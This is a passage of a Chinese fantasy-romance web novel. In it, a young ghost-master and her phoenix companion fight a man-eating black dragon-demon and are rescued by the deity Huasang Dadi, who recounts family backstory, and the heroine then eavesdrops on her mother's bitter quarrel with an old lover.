“人类打工闲暇时还会找找兼职呢,何况是活了几千年的神明了。”我淡定道。 小凤想了想,深表赞同:“也是哦。” 走到一片树林边上,忽有妖风迎面袭来,寒气猛地掀起我发间蝴蝶花钗下的银质流苏—— 银流苏叮当作响,我立时顿步,警惕地扭头觅着浓重妖息看向左侧光线昏暗的密林。 小凤敏锐扇膀子提醒我:“主人,妖气!” 我抬手示意它别出声,放轻脚步,慢慢逼近密林…… 越走近阴寒幽深的树林,空气里的血腥味就越刺鼻。 这腥味,是妖物的血,还是人血? 踏入林子,阴风扫得头顶树叶哗哗作响。 我环顾四周寻找妖物踪迹,再回眸,却忽见空中漂浮着稀疏的粒粒红荧光…… 红荧光像缕柔软的红烟,指引我往右前方足有一米半高的老刺草丛里走。 妖物,难道躲在草丛后? 我念咒敛了身上气息,继续迈着轻慢步伐,跟随红光的指引,提心吊胆地寻觅过去…… 刺草丛里传来窸窣草动声,我屏气凝神,抬手悄悄拨开几根刺草的荆条。 放眼看进去,果然见到一条浑身长满墨色鳞甲、腹部血迹斑斑、从头到尾约莫有两米长的粗壮黑蛟痛苦躺在落满枯叶的草地上。 艰难蠕动身躯,腰腹伤口上还泛着淡紫色的灵光…… 他是在给自己疗伤? 而我也是第一眼就认出他腰腹伤口处融入血肉的那抹幽青色残留气息,是青漓的! 这家伙是被青漓打伤才躲在这里的…… 难道、他就是跑到柳叶村吃人的那条妖蛟?! 小凤扑扇着翅膀靠近,乍一见藏在刺草后的东西,当即激动呼喊道: “妖孽!主人主人,就是这条黑蛟!他吃了柳叶村好多人还打伤了帝君!” 第117章 还是领导管用,男人靠不住! 确认它的身份后,我立马抬手召出数道赤色鬼符,不假思索的手快冲他出招一掌法力击拍过去—— 蜷在草地上闭目养伤的妖蛟听到动静也反应灵敏的一个瞬间挪移勉强避开了我的掌力…… 掌风擦过他腰腹染血的鳞片,活生生刮掉他伤口烂肉边缘的五六片蛟鳞! 紫蛇说,青漓幼年曾被黑蛟残忍拔掉一身鳞片,也不晓得是不是这条黑蛟。 如果是,那我还真想把他一身鳞片也全都刮掉! 老娘这辈子没什么长处,恰恰就刮得一手好鱼鳞! 就算不是这条黑蛟,他能把青漓打得须封闭五感养伤,也不是什么好鸟…… 不晓得以我现在的能力是不是受伤的他对手……不管了,打不死它我也要往他伤口上撒点盐! 黑蛟腾身而起站稳重心后,本就粗壮的身躯瞬间庞大几十倍,低头龇牙咧嘴地眯眼看我,瞟了眼掉落在边上的蛟鳞,更加恼怒地厉声大吼: “人类?你找死!呵,也是阴苗族人,似乎身上灵气比之前吃的那几个还要重些……既然你送上门了,那就给本君塞牙缝吧!” 吼完,黑蛟探下比水缸还大的骇人脑袋,张开血盆大口便冲我猛速咬过来—— 我赶忙施法操纵赤色灵符,垫脚飞起,于半空中后退一段距离,灵活避开他的第一道袭击。 在他昂头打算再度冲我扑来时,绕腕用指上灵力待动片片赤色灵符,很快,无数道赤符便似一泓流水般,迅速将黑蛟包围缠裹其中…… “这是!”黑蛟瞧清赤符,瞳孔骤然放大,不可思议地闷声怒问:“阴阳鬼术?!你认识青漓那个废物?是他教你的!” 青漓教我的? 他也会阴阳鬼术吗…… 一句话差点把我脑子问宕机了。 然而不等我回答,黑蛟便又双目渗血地咬牙狠狠道:“他竟会教你阴阳鬼术,你和他是什么关系,说!” 最后一个说字,黑蛟气急败坏的张大兽嘴,喷出来的强劲口气差点把我给掀翻出去! 我定了定心神,不敢错失良机,手上连忙施法结印,利用赤符猛地将黑蛟束缚住,拧眉冷冷道: “我与他没关系,我是阴苗族鬼师!黑蛟,你在阴苗族肆意吃人滥杀无辜,我身为鬼师,今日就要拿你问罪!” “呵,拿本君问罪?”哪成想黑蛟压根不在乎紧紧勒住自己的鬼符,猖獗放话:“那也要看你有没有这个本事!” 话音落,我猝不及防就被黑蛟身上迸发出来的一道强大妖力给无情撞退了数步! 似是一堵墙狠狠拍在我脸上,撞得我脑子一阵发懵,鼻梁骨又酸又痛…… 差点就没稳住法力从半空中掉下去! 等我再回神,才看见包裹住他的赤色鬼符已经被他轻而易举震成了无数殷红似血的碎片…… 灵符碎片从林子上方簌簌而落,黑蛟咬住牙关忍着腰腹处的剧痛,扭动身躯舒展筋骨,冷笑两声: “可惜,你还没学到他阴阳鬼术的精髓,你的这几招三脚猫功夫,同他还差得远呢!何况……” 黑蛟说着,突然低头将骇人的脑门子送到我眼前,吓得我浑身一激灵……蛟龙头顶坑坑洼洼的黑疤,更是看得我脊背发麻,强迫症都要犯了。 他真的好像癞蛤蟆! “就算是他亲自来和我交手,他也不能奈我何!毕竟,他从前可是我的手下败将…… 哈哈,我扒过他的蛇鳞剥过他的蛇皮!蛇、天生就是最低贱的龙种,他只配给本君提鞋,伺候本君开心! 他若敢让本君不高兴,本君便让他活不起!” 扒过青漓的蛇鳞剥过青漓的蛇皮……这句话顿时激起了我一身汗毛! 心脏狠狠一抽,又酸又痛。 当年欺负青漓的黑蛟,真的是他! “他从前或许是你的手下败将,但现在,你不还是被他追得满山逃命吗?风水轮流转,现在也该轮到你去死了!” 我心头猛地窜起一股烈火,抬手化出数十张赤色鬼符,下一刻,鬼符在我手里凝聚成一把渗着红光的大砍刀,我想也没想,提刀就朝他头顶砍下去:“死怪物,老娘要刮了你——” 奈何我现在的法力依旧不是黑蛟的对手,黑蛟前一秒还凑在我眼前耀武扬威,后一秒便闪身退开三米远。 我一刀劈下去砍了个空,黑蛟则远远冲我讥讽一笑: “懒得和你这种没用的人类废话,该死的青蛇害我失去一个肾……本君就拿你来补全本君的内脏!” 言罢,长尾一挥,瞬间一股强大的妖力就朝我冲击而来—— 在旁边观战的小凤见势不好连忙飞来帮我:“主人当心!” 可不等小凤冲过来张翅护住我,我手腕上的银镯便红光乍现,一道刺眼灵力飞出去,竟强势的直接将黑蛟的攻击冲散了…… 我愣在原地,不可思议地抬起胳膊看着腕上那只银镯…… 青漓给我的镯子还有感应到危险自动触发保护程序的功能? 远处黑蛟见状蓦地愣住,两秒钟后,忽然蛟龙身躯缩小,一股黑烟凝成了身披墨袍的人形模样。 脚踏虚空朝我快步走来,在我人还懵着时一把抓住了我的手腕,盯着我手上的银镯,狭长漆眸里渗出阴笑…… 他在盯我的镯子,而我却在盯他这张脸…… 方才猛一看见他的脸,我差点把他认成宋潮生。 这只恶蛟的人形状态,面容倒是和宋潮生有几分相似…… “他把蛇筋都给你了,看来本君没猜错,你果然是他的女人!” 蛇筋? 这镯子里的红玉髓是青漓的蛇筋?! 恶蛟用力攥着我的胳膊笑得面目狰狞: “本君总算找到报复他最快捷的方式了,他掏本君内脏令本君身躯不全,本君就吃了他心爱的女人,让他再尝一次痛失所爱的滋味!” 我艰难挣扎了几回,没能摆脱他的魔爪,心里清楚现在敌我力量悬殊,想在他手里活下来怕是得上点科技与狠活…… “想吃我?做梦!”我趁他不备朝他腰间溃烂伤口上就撒了把混着阴蛊粉的白盐。 他霎时痛得尖叫出声,老脸一白,条件反射的一掌用猛力击在我胸口,生生将我从半空打了下去! “你个贱东西!” 我丢人地被他拍摔在了草地上,心脏似被他隔着胸膛拍移了位,闷疼不止。 憋不住的一口鲜血喷出来,血渍溅在我手边的莲花镯上,诱得镯内红玉髓红光若隐若现…… “死玩意,你敢打我主人,看我灵凤十八掌!” 小凤凰恼羞成怒地扬起翅膀就同黑蛟嘶斗了起来。 不知是因为小凤现在个头太小,身子太灵便,他不好出手攻击。 还是因为我方才一把盐洒在他伤口令他身上伤势雪上加霜,疼得太厉害,导致行动不便了…… 方才和我交手还凶猛得不行的恶蛟,这会子却接连被小凤用嘴叨用爪挠,在小凤火力全开的猛攻下吃了好几次亏! 期间小凤甚至还炸毛显现了两回真身,吓得恶蛟连退十来步。 “你是、神界的凤凰!不、你是昆仑山凤王!” “我是你妈!” “……” 我伏在地上,羸弱的艰难撑起身体,看着眼下小凤占上风的大好战况,闷咳两声冲小凤喊道:“小凤!挠他蛟鳞!回去我给你加餐!” 正举着翅膀要扇男人的小凤猛地愣住,旋即疯狂点头:“好啊好啊!” 显现凤凰真身的小家伙一膀子扇过去,恶蛟的鼻血喷出二尺高! 然,就在我以为小凤这只神鸟能治住这条无恶不作的黑蛟时,也不知道黑蛟是被扎到了那个重启穴,竟遽然化成原形进入暴走状态,没过两招就一尾巴将小凤拍摔到了我身边…… 我:“……” 论有一条尾巴的重要性。 之前青漓打架也总拿尾巴抽人来着。 小凤被黑蛟抽中心脉,摔在地上后伤得比我还严重,四仰八叉地躺在落叶堆里咳嗽着往外喷血…… “主、主人,小凤……好像看见、太奶了,呜呜呜……” 黑蛟满身是血地乘胜追击,哑声嗤笑: “本君还以为你有多大的本事,原来灵力都被封了!真是天助我也,那今日本君就感谢老天爷的馈赠,勉强将你们主仆俩都给吞了!” 说罢黑蛟就张开深渊般的血口,纵身先朝小凤吞去—— “小凤!”我手快地扯着小凤尾羽,将重伤倒地的小凤拽过来护进怀里。 小凤这不靠谱的家伙竟还有精力吱哇喊叫地谴责我:“哇哇哇主人!别拽尾羽,疼疼疼!小凤屁股疼。” 我抱着小凤满脑子都是无语二字,命都快没了,还在乎什么屁股! 怎么办怎么办,难道真是天要亡我吗! 我还没有为人类做出贡献就要这么窝囊地英勇牺牲了吗! 啊我不想死。 哦对,我想起来了,那条臭青蛇曾嘱咐过我,有危险就喊他名字。 他的名字是我召唤他的法咒来着! 不行了,先不闹脾气了,天大地大狗命最大。 养蛇千日用蛇一时,等他救完我我们再继续冷战也是一样的! 眼见着黑蛟的血盆大口就要把我和小凤都吞进其中了,我搂住小凤闭紧双眼满头大汗的心一横,狼狈向他求饶:“青、” 剩下一个漓字还没喊出口呢…… 眼前就陡然青光一晃,电光火石间,来势汹汹的恶蛟便被震得一声惨叫撞回三米开外的老松树上—— 给人树头上的两个鸟窝都震下来了。 他……来得这么快吗? 我名字还没喊完呢! 劫后余生的我揣着小凤赶忙从地上爬起来,扭头往身后一看…… 目光落在一袭墨色龙袍、身形颀长、玉树临风、脸上罩着龙首面具的神明身影上…… 我与小凤同时呛喷出一口血。 “华桑大帝!”小凤抹着嘴角血渍不可思议地惊呼。 尊贵高冷的华桑大帝他老人家放下释放完法力的那只大手,这会子还喘着粗气,像是刚从其他地方着急忙慌地飞奔而来…… “你、没事吧?”清风霁月的高冷神明嗓音喑哑问。 我哽住,摇摇头。 突然鼻头一酸,瘪嘴冲他拖着哭腔委屈诉苦: “果然关键时刻还是抱领导大腿有用啊!呜男人根本指望不上!” 等青漓来救我,我骨头都被这条黑蛟给消化了! 风尘仆仆的华桑大帝:“……” 第118章 时刻牢记华桑大帝训诫! “华桑大帝……” 摔在地上撞歪脸的黑蛟警觉眯着眼怯怯往后缩,忌惮地盯着墨衣大帝,颤巍巍质问: “你、就是华桑大帝……今天你不是在给山里精怪们开会吗!” 小凤凰仗着有华桑大帝在,扶腰挺起胸脯傲娇道: “蠢东西!这你就不知道了吧,我主人可是华桑大帝手下的鬼师!华桑大帝就是我们的大靠山!你想杀我和主人,还要看华桑大帝同不同意!大帝叔,揍他!” 沉默不言的华桑大帝呛住。 黑蛟勉强站起身,摇摇晃晃地瞪大双目死死盯住华桑大帝,片刻,黑蛟凝声质疑: “华桑大帝?本君是听过这个名号……但,大帝身上的气息,本君怎么感觉,似曾相识呢?” 似曾相识? 我搂着小凤低声猜测:“难道是被华桑大帝打过?” 小凤赞同点头:“我看像!” 清冷高贵的华桑大帝一拂广袖,沉声威仪道:“黑蛟,胆敢在九黎山闹事,你找死?” 大帝不愧是大帝,一开口压迫感就上来了。 只是,大帝的声音确实不怎么好听,低沉沙哑,略显苍老……大抵是和年龄有关! 对面黑蛟愣了愣,片刻,倏然猖獗地狂笑起来—— “华桑大帝?原来你就是华桑大帝!怪不得本君刚入阴苗族你就察觉到了……” 华桑大帝冷冷震慑:“少了一颗肾,还没让你长记性么!” 黑蛟磨着后槽牙愤怒发火: “你也不好受吧,就算你现在成了神当了华桑大帝又如何,当年你在本君手底经历的那些事也依旧是你一辈子都休想抹去的阴影! 什么华桑大帝,我呸,凭什么你还能成神,明明本君已经拥有了你的力量……就算你成神了,了不得了,你也依旧是那条任我欺辱……” 黑蛟大言不惭的话还没嚎完,就被华桑大帝隔空一巴掌扇偏了脸颊……蛤蟆皮的龙脸上迅速泛红鼓起了一块。 华桑大帝从容抬手,掌中神力汇聚成一枚流光溢彩的青色光球,阴沉威胁:“要在这打么?本帝奉陪。” 黑蛟下意识往后缩了缩,目露惊恐,低头瞟了眼腰上发青泛红的肉窟窿,不甘心地叹了口粗气。 转身就化作一道黑烟仓皇先逃一步。 小凤见状挣扎着从我怀里探出头,不服气地挥舞一双受伤小翅膀朝黑蛟逃跑的方向吆喝: “跑了?有本事别跑啊!来打架啊!我大帝叔在这呢!怂鬼,你有本事和我大帝叔干啊!看我大帝叔会不会把你的老脸撕叉!呸,窝囊废怂包胆小鬼绿头龟,欺负我一只鸟算什么!” 扭头接着冲华桑大帝可怜抱怨:“大帝叔你怎么能放他走呢!他在阴苗族吃了那么多人,你应该把他抓起来打个死结然后再扔给主人收拾!” 负手而立的华桑大帝不解沉问:“扔给阿、鸾儿,收拾?” 小凤凰理直气壮道:“对!我主人想刮了他的蛟鳞!” 华桑大帝更不懂了:“为何、要刮他蛟鳞?” 小凤凰:“我主人有刮鱼鳞的癖好,应该是解压吧!” 华桑大帝:“嗯?” 看着小凤理直气壮的模样,我尴尬抽了抽嘴角,这孩子的脑回路一如既往清奇,它是怎么想到我要刮黑蛟的鳞是为了解压的…… 为了避免华桑大帝他老人家误以为我有什么怪癖,我赶忙解释:“不、不是为了解压……是因为,心里不舒服。” 墨衣神明默了默,竟耐心问我:“为何,不舒服?” 我揣着小凤朝他走近几步,低头轻轻说: “刚才我们交手,那条黑蛟发现了我和青蛇王的关系,他说、他剥过青蛇王的蛇皮,扒过青蛇王的蛇鳞…… 是他害的青蛇王现在偶尔会控制不住的伤害自己,是他给青蛇王造成了心理阴影,导致青蛇王这么多年过去了还被从前的阴霾影响,他对青蛇王那么残忍…… 可惜我能力不够,不然我也想扒了他的鳞,剥了他的皮!” “你……在意青蛇王。”他意外低喃。 我沉沉叹息:“都在一起那么久了,他又那么护着我……这辈子愿意倾尽全力护着我的人,本就不多。怎么可能不在意呢。就算是普通朋友,我也听不得别人这么伤害他。” “什么时候,喜欢上的?”墨衣大帝八卦地追问。 我摇摇头:“我也不清楚。” 说到这,我突然又好奇问他:“龙君大人,我可以结婚的吧?” 他怔了怔,点头:“嗯。” 我抓住机会又问: “还有一个问题,鬼符!外婆生前说,鬼师一生只能绘三千张鬼符,我之前为了和那条死狐狸打架浪费了许多,今天和黑蛟打也浪费不少…… 外婆突然离世,好多规矩我都不懂,龙君大人,做鬼师,也需要攒业绩吗? 是不是我这辈子和外婆之前一样,也必须渡完多少人,才能算功德圆满?” 华桑大帝听完,双手背后,陪我缓步走在山间小道上,温和给我答疑解惑: “鬼符是没有数量限制的,但用鬼符干涉他人命运,逆转他人命数,会遭天道反噬。 你外婆仅能画三千张鬼符,是因为她手中的鬼符,是耗损修为所绘,鬼符无限制,但鬼师的灵力却是有限。 你外婆的身体,只能撑得住她绘满三千鬼符,更改三千人的命数。 她身上的反噬之力积攒太多,换而言之,就算她不破格为你绘出第三千零一张鬼符,她最多,也只能再活五年。” “所以,外婆的那些鬼符都是她燃尽自己所绘……因此才有限制。外婆自己也晓得,一旦超出限制,她就必死无疑。 可,龙君大人,我还是不懂。我画的鬼符都是按规矩所绘,外婆为什么要往三千鬼符里注入自身修为,加强鬼符的灵力。 我画的符,也能保亡魂顺利走完阴间十三站,进入轮回道啊……外婆为什么,偏要渡三千人,偏要不惜燃尽自己的力量,也要更改这三千人命数呢?” 华桑大帝沉默片刻,说: “你外婆年轻时为了救一凡人,利用鬼符逆天改命,强行为他续了五年寿数。 后来发愿渡三千人,是为了替自己赎罪,也是为了替他消除前世业障。 她是想让那个人,来世路好走些。” 我错愕道:“只是强行续上五年寿数,就须得渡三千人,才能赎罪?强行续命的罪孽,这么深重么?” 那、宋淑贞利用长生泉来为族人延年益寿,阴苗族这么多人都饮了长生泉泉水,被续了寿数,那岂不是罪孽重的得下地狱? 可为何,在我的印象里,鬼师用鬼符为人续命,是件很正常的事,顶多会遭天道反噬,倒霉一段时间,或者失去法力几年…… 渡三千人赎罪这个惩罚,也忒严重了些。 “那人,不是普通人。他是被天道惩罚之人,天命注定,他会百世英年早逝,生生病痛缠身,不得善终。你外婆遇见他的那一世,是他受罚的第五十二世。” 墨衣神明说完,小凤立即探出头惊讶插话: “被天道惩罚百世早死?哇他上辈子干了什么伤天害理不可饶恕的大坏事,竟然被天道这么惩罚!他难不成是想毁灭世界?” 我揣着小凤深思: “如果是犯了点普通小错,根本不会引天道震怒。 我记得小时候外婆给我讲上古时期九黎族的故事,讲到有个族人因一己之私捕杀真龙食之肉,间接导致外面灵川一带五年大旱,天神震怒,降下神罚,但也仅是将他打入地狱受刑两千年…… 我感觉与轮回百世,世世病痛缠身且早亡相比,还是后者严重些,他犯的错,难道比屠杀真龙害死数百无辜凡人还大?” “错,不在他,他也是受了牵连。 他父母曾是一方霸主,可惜他一出生就夭折了,他父母为了保住这唯一的血脉,不惜杀死一座城的百姓,六万余人。 其中刚出生的婴儿,五千之多。 那座城一夜之间血流成河,成了一座鬼城,他父母还企图用城里人的鬼灵炼制丹药给他增六千年寿数,这样便能保他活到成年,让他有机会顺利娶妻,繁衍子嗣。 当时他还在襁褓,根本无法阻止父母的疯狂行为,后来他慢慢长大,终有一日天上发现了这件事,上苍震怒,降雷劈死了他的父母,考虑到他父母做这些事时他还是个婴儿,便打算从轻发落。 可再怎么说,那六万无辜百姓的性命也是因他而丢,六万亡灵炼成的鬼丹也被他吞进了腹中,是以,哪怕他再无辜,也要给那六万枉死冤魂一个交代。 百世轮回,已然算天道对他网开一面了。 他轮回五十二世,只能抵消一半罪孽,你外婆哪怕发愿渡三千人,对背负满身罪孽的他而言,也是微不足道。 不过,你外婆做这些也并非全无意义,他身上背负着的业障,能消减一分他便少痛一分,少呕一口血。 你外婆渡世人而替他减轻罪孽,至少能让他在后面几十世轮回里少受几年病痛折磨。” 我颔首闷哦了声,“这个人,对外婆很重要么?” 若不然,外婆怎会为替他消减罪孽,付出这么大代价。 “他……是你外婆的心上人。”墨衣神明淡淡道。 “什么?”我意外不已:“我外婆的心上人,不是外公吗?” 说起来,的确很奇怪,从小到大外婆只在我面前提过父亲这一个亡故亲人。 至于外公,我只晓得他年纪轻轻就过世了。 连他姓什么都不知道。 他的坟也不在月阴村,听说当年外公临终前留下了遗嘱,让自家亲人把自己带去外面下葬。 也因此,从小到大,外婆从没带我去给外公上过坟。 我现在连外公的坟葬在哪个地方都不晓得。 “你的外公,是个阴险自私的小人。如果不是因为他,你母亲也不会变成现在这个偏执模样。” 墨衣神明停顿了一步,转身看我: “鸾儿,本帝、青蛇王之所以没有直接杀了伤害你的宋淑贞,便是因为他晓得你心软,他清楚,若你得知你母亲的全部遭遇,你大概会对她心生怜悯,届时,或许你对她连怨恨都没有了。 况且,让她死,也并不是你的初心。 宋淑贞是做了不少恶,但也不能否认她是位尽职尽责的大祭司。 前段时间你烧给本帝的血书本帝收到了,本帝出面警告了宋淑贞,以后,阴苗族都不会再有长生玉女了。 鸾儿,宋淑贞可怜,也可恨,她极度缺爱,她对你的恨不仅来自你父亲,还有你外婆。” “外婆?” 她厌恶我父亲,恨屋及乌也讨厌我,我能理解。 可她为何会因为外婆恨我? 难不成她恨外婆的程度,已经达到了恨父亲的那个地步? “她嫉妒你。” “啊?” 我一愣,更不明白了。 我有什么地方,值得她嫉妒的? 墨衣大帝低低道:“她嫉妒你能留在你外婆身畔,怨你外婆,把所有的爱都给了你。” 我还是不理解: “可外婆、并没有因为我的存在,就不爱她了。 明明是她不要外婆,外婆好几次主动关心她,她都冷脸不领情,时间长了,外婆的心也凉了……” “你外婆与宋淑贞母女之间的感情很复杂,她们都心系彼此,只是嘴硬不肯承认罢了。你母亲恨你外婆,是因她太渴望能得到你外婆的爱了。” “哈?” 华桑大帝说完,我感觉我脑子都快被他的话绕冒烟了。 小凤趴在我胳膊上一头雾水地感慨:“人类这扭曲变态的感情啊!” 我想了想,开始自我怀疑:“我好像、稍微能理解一丁点了……我这拧巴的性格该不会是随了宋淑贞吧?” 小凤抖了抖身上炸毛的凤羽: “主人你别吓小凤,小凤可不希望有一天主人明明心里很喜欢小凤,嘴上却坚决不认,那样小凤会很伤心的。” 墨衣大帝好奇问我:“此话怎讲?” 我从容道: “就像我和青蛇王一样,我心里是喜欢他的,但嘴上又不敢承认。 我总觉得喜欢上他,是件很难以启齿的事,他那么厉害,人也不错,在他面前,我只有对他表现得不沾情欲,才敢直视他的眼睛…… 而且,只有我俩之间是各取所需,我才敢心安理得地享受他对我的好。” 小凤躺在我怀里仰头高呼:“啊我的主人啊,你这不是拧巴,是不自信。你是害怕得到后又失去,所以才索性不让自己得到!” “差不多吧。”我伸手给她顺顺毛:“不过以后,应该就没这烦恼了。” “为什么?”墨衣大帝急着问我。 我小声说:“因为我要和他分手了,他的行为太令人生气了。我晾他几回,他应该就会对我失去兴趣……慢慢就淡了吧。” “鸾儿……”他欲言又止。 我信心满满地朝他坚定道:“龙君大人你放心,我会牢记您老的训诫,早点从失恋状态里走出来的!” 他哽住,似迷茫了许久,方问:“本帝、训诫你什么了?” 第119章 姐妹俩顺序会错,名字不会错 我:“绝不原谅青蛇王!” 他沉默,过了两秒:“本帝何时说过,要你绝不原谅青蛇王了?” 我歪头:“就上次您老给我解狐毒的时候啊!虽然我意识不清昏昏沉沉的,但是我记得您老在我耳边叮嘱过我很多次,让我不要原谅青蛇王!” 他:“……” 我意志坚定地承诺道: “您老放心,我一定谨记你的教诲,绝不再被什么情情爱爱迷了心智,我已经决定要断情绝爱认真搞事业了!” 他这次,怔愣了更久。 再启唇,嗓音略带几分轻颤:“你不记得、后半句了?” 我:“啊?还有后半句吗?” 不晓得是不是我的错觉,我怎么感觉此时此刻一动不动的华桑大帝他老人家,好像突然原地石化了。 我俩隔着厚重的龙首面具相视无言,四下寂静得只剩小凤打喷嚏揉鼻子的细碎声音—— “妈耶,大帝叔身上的气息怎么那么熟悉……这花香,好像在渣蛇身上闻到过……” 把我送回家,华桑大帝他老人家才骤然消失在我身后,回去忙自己的事了。 傍晚,我坐在堂屋门外的青石台阶上吹风。 小凤端着一盘酱肘子吃得满嘴是油,往我身旁一坐,口齿不清地边吃边问: “主人,小凤已经两天没看见帝君了,帝君该不会是真被你吓跑了吧……” 我双手托腮安静昂头看灰蒙蒙的阴沉天空:“他被吓跑了岂不是更好?” “可是,他不在的这两天,也没见主人有多开心……相反,这两日主人的话都少了很多。” “我以前话很密吗?” 小凤摇摇脑袋:“也不是那个意思,就是、主人和帝君在一块的时候,总感觉主人的情绪丰富点。” 我无奈叹气:“可不是么,被他气的情绪丰富了。” 小凤亲昵地往我身上偎: “小凤觉得,帝君这两天大概是遇见什么事了,肯定是太忙了才没有回来找主人,主人是撵不走帝君的。 当初主人都赶了帝君那么多次,后来帝君不还照样隔三岔五的跑去找主人,帝君要是能被主人赶跑,现在就不会出现在凡界与主人相遇了……” 我越听越迷糊,扭头不明所以地问她:“你叽里呱啦说些什么呢?我从前,什么时候赶他走过?” 小凤僵了僵,然后继续把嘴插进酱肘子里狂啃: “没什么……啊对了主人,咱们今天竟然又见到华桑大帝了!主人你从前和大帝很熟吗?为什么大帝看起来,好像很关心主人。” 我摇摇脑袋:“不熟啊……上次我中狐毒,是他第一次在我面前现身。不过说起华桑大帝,小凤,我也总觉得,华桑大帝给我的感觉,很亲切。” “亲切?” 我嗯了声: “华桑大帝那么厉害尊贵的大神仙,按理说我见到他应该敬畏害怕。 可不晓得为什么,我俩分明之前连话都没说上一句,我根本不了解华桑大帝是个什么样的神仙,脾气秉性如何,但我就是有种华桑大帝很好相处的直觉,本能地就想靠近他,觉得他身边很有安全感。 而且,我也捉摸不透到底是哪个方面给我的底气,让我下意识坚信,我靠近他,在他面前不恭敬、不礼貌,他绝不会计较怪罪。 华桑大帝给我的第一印象,就是他人很好,嗯……像个和蔼可亲的长辈!” 听他的声音,他本尊应该是个类似于凡人四五十岁状态的神仙大叔吧! “小凤也觉得这位华桑大帝和想象中的不太一样……而且他对主人你也忒照顾了些吧!开口就喊主人鸾儿,小凤还以为主人和大帝很熟了呢!” 我抿了抿唇没有多想: “也许,是我和外婆运气好!碰巧供着了一位脾气好、温和护犊子的家神。 我小时候曾见过一位东北的出马弟子,她来我们阴苗族找外婆学习交流经验那会子和我讲过,东北出马弟子家中供奉的家仙,每一户都不一样,有的是祖上传下来的,有的是这辈子刚被老仙家选中。 每位仙家的性格也不一样,有的仙家小气爱闹腾,经常将出马弟子家搅得一团乱,但有的仙家却温和善良,求他的事,只要不出格他都能很快帮人办妥,且包容心还很强。 有的仙家年轻,就总爱和弟子打架,有的仙家上了岁数,就特别疼爱弟子,将弟子当自家儿女疼。 桑华大帝这位家神,大概也同东北那些堂口里的老仙家差不多,上了岁数加上性子好,便容易将自己信徒当孩子宠…… 桑华大帝他罩着我的时候,的确很像爹护闺女。李大叔出面保护银杏的时候,不就是这样么?” “咦主人,你竟然觉得桑华大帝像你爹!” 我搓了搓被冷风吹麻的肩膀:“爹怎么了,爹比男人靠谱!” 小凤凰嘶了声:“也对哦,桑华大帝就比渣蛇靠谱!” 我哽住,轻声和她商量:“你、还是叫他帝君吧,别总渣蛇渣蛇地喊……” 小凤竖起头顶的小揪揪:“为毛?嗷主人,我知道了,你心疼了!” 我心累地捏捏鼻梁:“我是心疼你,我怕你总私下这么喊他,万一倒霉被他撞上听见,他把你当球踢出去!那条蛇,小心眼着呢……” 小凤别过头傲娇哼了声:“他敢!我可是主人你的陪嫁!他敢踢我我就踹他接亲的花轿!” 我:“别闹了,我们俩早就……哪来的花轿。” 才没有花轿呢。 小凤挺直腰杆:“那我以后就在你俩亲近的时候掀你俩被窝!” 我哽住:“你到底是在报复他,还是在折磨我?” 小凤凰臭不要脸地扭扭屁股,往我腿上一跳,抬起翅膀抓住我袖子,神秘兮兮道: “那个什么破祭司回来了,主人你要不要去看看她?” 我拧眉:“我去看她做什么?” 她本就受了重伤,再看见我不得气厥过去啊! “可是,老李去了哦……” “李叔去了也和我没关系。我和她不熟,还没到她受伤须得我去探病的地步。” 小凤古灵精怪道:“不不不,主人你没懂小凤的意思,咱们不是去探病,咱们是去看热闹……主人你不想偷瞧老李和破祭司……桀桀桀!” 后面的话小凤没有明说,但她此时搓着双翅笑得不像好鸟的样子,已经猥琐到我立马便心领神会的境界了! 我象征性地想了下,拽上小凤果断往门口冲:“走!” 小凤激动地在我手里疯狂扑扇一双小翅膀:“走走走,主人我们走!” 月黑风高,树影摇曳。 我和小凤借夜色正浓,敛了身上气息,翻上了宋淑贞家的墙头。 说来也赶巧,我和小凤刚踩着院墙边的枣树翻上去,脚下还没卡稳呢,就见院内堂屋外的电灯光影里站着身穿白色单衣的宋淑贞,与一身破旧青灰长衫的李大叔。 宋淑贞穿着睡衣,乌黑长发披散在肩后,手里搭着一串青檀木念珠。 这身打扮,倒比平日里那身庄重孤冷的祭司装扮要更接地气有活人味些…… 只不过,两人此刻周身的气氛,很不对劲! 有股剑拔弩张、随时都可能动手开打的感觉…… “当年要不是你为了那个贱人私自离族,我又怎么可能走到这一步!你有什么资格怪我心狠手辣,我恨他有错吗,我的一辈子都被他给毁了!” “可当年,是他救了你!没有他,你早就……” “所以我为了报恩嫁给他了啊,我如你们所愿,如他所愿!” “你到底是报恩、还是报仇……” “李忘尘你就是个缩头乌龟,你满嘴的仁义道德实际上却是自私自利,懦弱没种! 呵,难怪你的亲人都因你而死,难怪你的情人全家都因你被灭门!” “淑贞!” 灯影里的李大叔痛苦抓住宋淑贞手腕,喉中哽咽: “何必呢?你我怎会走到这一步,连你也要用这么尖锐的话来戳我痛处。” “那你呢!” 宋淑贞猛地挥手甩开李大叔,瞪大双眼咄咄逼问: “李忘尘,你连自己的爱人都保不了,你算什么男人! 当年你明明知道那个恶心的东西喜欢我,你却为了什么兄弟情义,连句重话都不敢说。 他是你的兄弟那我呢!你别忘了是我把你拖进阴苗族,是我在你被仇家追杀道心破碎道行尽失的时候一碗血一碗血把你喂活的! 李忘尘,我想得到你一份偏爱就那么难吗?” “阿贞……” 宋淑贞表情悲怆地捶着胸口含泪控诉: “当年要不是你突然不告而别,我会出事吗?我会被迫嫁给那个恶心的玩意还怀上了那个恶心的杂种吗!” “阿贞,当年的事不怪他,更不能怪到小鸾镜的头上。”李大叔耐心地轻声与宋淑贞道:“不告而别,我也有难处,阿贞,我对你的心从未变过……” 宋淑贞崩溃怒吼着质问: “那你告诉我李银杏那个杂种到底是谁的孩子?你敢发誓不是那个小贱人的女儿?! 当年我抱走那个小野种,想要把她扔下山崖摔死,可你呢,却为了那个野种打伤我! 李忘尘,在你准备加入阴苗族成为我们的族人之前,我不是没有问过你,你是怎么回应我的? 你说你的心,早就空了,只有我住了进去! 我不是没有给过你选择,我说过,只要你把孩子扔了我们就还能再续前缘,是你不肯啊! 你这个忘恩负义的负心汉,我真是恨透了你!” “阿贞,回不去了。”李大叔落寞垂首,面色凝重道:“圣女二嫁,你会承受很多人的风言风语,况且,我们各自都有了家庭。” “借口,都是借口。” 宋淑贞苦笑着踉跄后退,抬头擦去脸颊上的眼泪: “你也好,老祭司也罢,你们都乐于见到我嫁给那个人,你们想的都是成人之美,谁在意过我过得好不好,开不开心…… 他毁了我本该拥有的美好未来,我凭什么不能报复他,你口口声声说他对我真心,可他若是真爱我,他就应该放手,就应该拒绝那场婚事!” “可当初,不是你一意孤行,坚决要嫁给他的吗?” “我那是为了报复你我才提前了婚期!” 